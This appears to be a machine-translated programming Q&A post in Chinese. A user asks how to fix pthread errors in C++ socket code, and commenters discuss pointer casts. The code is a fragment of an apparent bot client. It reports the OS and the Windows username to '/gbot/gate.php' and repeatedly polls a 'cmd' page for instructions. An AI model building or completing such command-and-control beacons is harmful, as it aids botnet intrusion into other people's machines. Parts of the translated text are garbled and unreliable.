void* sendFirstReq(SOCKET Socket){
char buffer[10000];
string mybuf("GET /gbot/gate.php?page=ident&os=");
if(getenv("windir") != NULL){
mybuf += "windows&username=";
mybuf += getenv("username");
mybuf += "&version=win";
mybuf += "\r\n\r\n";
}
else
mybuf += "linux\r\n\r\n";
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}
void* sendSecReq(SOCKET Socket){
char buffer[10000];
string mybuf("GET /gbot/gate.php?page=cmd\r\n\r\n");
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}
while(true)
{
pthread_t t1;
pthread_t t2;
pthread_create(&t1, NULL, &sendFirstReq, NULL);
pthread_create(&t1, NULL, &sendSecReq, NULL);
_sleep(5000);
}
這是我項目中的一段代碼。 我想多線程,但我得到一堆錯誤。 首先,void *函數必須得到一個void * arg,所以我可以發送SOCKET throgh? 而另一錯誤是:C++多線程錯誤和SOCKET
初始化的`INT在pthread_create(的pthread_t *, pthread_attr_t_ * const的*,無效*()(空隙),無效*)」
和論證3我不知道如何解決它,謝謝你的幫助。
你的意思是「投」,而不是「切片」。切片在C++中是不同的。另請注意,從T *到void *的轉換是隱含的。反過來需要一個演員,而且應該是一個static_cast。如果可以避免使用C風格的演員陣容,那麼他們很危險。 –
2013-04-10 18:59:05
謝謝,我沒有使用它,因爲上述通常爲我工作:) – 2013-04-11 02:27:14
是的,你會演員工作,毫無疑問。問題是如果你寫了例如「(void *)socket」而不是「(void *)&socket」,編譯器不會告訴你。如果您嘗試使用static_cast,編譯器會發出抱怨。 – 2013-04-11 04:29:54